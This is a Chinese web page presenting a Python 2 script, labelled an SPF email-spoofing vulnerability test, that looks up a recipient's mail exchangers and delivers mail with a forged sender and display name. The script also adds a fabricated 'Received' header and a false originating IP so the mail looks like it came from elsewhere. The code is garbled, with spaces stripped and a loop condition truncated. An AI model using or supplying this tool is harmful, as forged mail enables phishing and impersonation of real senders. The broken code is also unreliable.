SPF邮件伪造漏洞测试脚本

SPF邮件伪造漏洞测试脚本_第1张图片


SPF邮件伪造漏洞测试脚本_第2张图片

测试代码

# -*- coding: utf-8 -*-

importsocket,select,base64,os,re,time,datetime

classmail:

def__init__(self):

self.errmsg=''

defsend(self, buf):

try:

byteswritten=0

whilebyteswritten

byteswritten+=self.__sockfd.send(buf[byteswritten:])

except:

pass

defrecvline(self, strline):

detect_fds=[self.__sockfd,]

rrdy, wrdy, erdy=select.select(detect_fds, [], [],20)

iflen(rrdy)==0:

returnFalse

else:

whileTrue:

try:

strtmp=self.__sockfd.recv(1)

strline[0]+=strtmp[0]

if(strtmp[0]=='\n'):

print'server : '+strline[0]

break

except:

returnFalse

returnTrue

defgetresp(self, resp_str):

whileTrue:

if(self.recvline(resp_str)==False):

returnFalse

else:

ifresp_str[0][3] !='-':

break;

returnTrue

defmailhelo(self, hostname):

self.send('helo %s\r\n'%hostname)

print'host say: helo %s'%hostname

resp_str=['',]

if(self.getresp(resp_str)==False):

returnFalse

ifresp_str[0][0:3]=='250':

returnTrue

else:

self.errmsg=resp_str[0]

returnFalse

defmailfrom(self, fromstr):

self.send('mail from: <%s>\r\n'%fromstr)

print'host say: mail from: <%s>'%fromstr

resp_str=['',]

if(self.getresp(resp_str)==False):

returnFalse

ifresp_str[0][0:3]=='250':

returnTrue

else:

self.errmsg=resp_str[0]

returnFalse

defmailto(self, tostr):

self.send('rcpt to: <%s>\r\n'%tostr)

print'host say: rcpt to: <%s>'%tostr

resp_str=['',]

if(self.getresp(resp_str)==False):

returnFalse

ifresp_str[0][0:3]=='250':

returnTrue

else:

self.errmsg=resp_str[0]

returnFalse

defmaildata(self):

self.send('data\r\n')

print'host say: data'

resp_str=['',]

if(self.getresp(resp_str)==False):

returnFalse

ifresp_str[0][0:3]=='354':

returnTrue

else:

self.errmsg=resp_str[0]

returnFalse

defmailbody(self, bodystr):

print'host say: '+'.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n'

print'host say: '+'From: "=?GB2312?B?zfU=?=" <'+self.From+'>\r\n'

print'host say: '+'Subject:'+self.Subject+'?=\r\n'

print'host say: '+'To: <'+self.To+'>\r\n'

print'host say: '+bodystr

self.send('Received: from ICE (unknown [8.8.8.8])\r\n')

self.send('.by 8.8.8.8 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n')

self.send('.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n')

self.send('X-Originating-IP: [8.8.8.8]\r\n')

self.send('Date: '+time.strftime("%a, %d %b %Y %H:%M:%S +0800",time.localtime())+'\r\n')

self.send('From: '+self.FromName+'<'+self.From+'>\r\n')

self.send('Subject: '+self.Subject+'\r\n')

self.send('To: <'+self.To+'>\r\n')

self.send('X-Priority: 1\r\n')

self.send('X-mailer: iceMail 1.0 [cn]\r\n')

self.send('Mime-Version: 1.0\r\n')

self.send('Content-Type: text/plain;\r\n')

self.send('.charset="GB2312"\r\n')

self.send('Content-Transfer-Encoding: quoted-printable\r\n\r\n')

self.send(bodystr)

self.send('\r\n.\r\n')

resp_str=['',]

if(self.getresp(resp_str)==False):

returnFalse

ifresp_str[0][0:3]=='250':

returnTrue

else:

self.errmsg=resp_str[0]

returnFalse

defmailquit(self):

self.send('quit\r\n')

print'host say: quit'

resp_str=['',]

if(self.getresp(resp_str)==False):

returnFalse

ifresp_str[0][0:3]=='221':

print'server : Bye'

print'mail send ok'

returnTrue

else:

self.errmsg=resp_str[0]

returnFalse

deftxmail(self, hostname, mailfrom, rcptto, bodystr):

mx_server_list=[]

mail_postfix=re.split('@',rcptto)

#print mail_postfix

try:

outstr=os.popen('nslookup -type=mx -timeout=10 %s'%mail_postfix[1],'r').read()

exceptException, e:

print'DEBUG: Execute nslookup:',e

returnFalse

linestr=re.split('\n', outstr)

forsinlinestr:

ifre.match('.+[ |\t]mail exchanger[ |\t].+', s) !=None:

c=re.split(' |\t', s)

mx_server_list.append(c[len(c)-1])

iflen(mx_server_list)==0:

self.errmsg='Can not find MX server'

returnFalse

formx_elementinmx_server_list:

return_val=True

mx_server_ip=socket.gethostbyname(mx_element)

tx_sockfd=socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)

try:

tx_sockfd.connect((mx_server_ip,25))

self.__sockfd=tx_sockfd

resp_str=['',]

self.getresp(resp_str)

ifself.mailhelo(hostname)andself.mailfrom(mailfrom) \

andself.mailto(rcptto)andself.maildata()andself.mailbody(bodystr)andself.mailquit():

pass

else:

return_val=False

exceptException, e:

return_val=False

try:

tx_sockfd.close()

except:

pass

ifreturn_val==True:

break

returnreturn_val

defsendMail(self):

self.StmpHost=self.From.split("@")[1]

self.txmail(self.StmpHost,self.From,self.To,self.Data)

if__name__=='__main__':

icemail=mail()

icemail.Port=25

icemail.To='[email protected]'

icemail.From='[email protected]'

icemail.FromName='邮件伪造漏洞测试'

icemail.Subject='邮件伪造漏洞测试'

icemail.Data='邮件伪造漏洞测试'

icemail.sendMail()

你可能感兴趣的:(SPF邮件伪造漏洞测试脚本)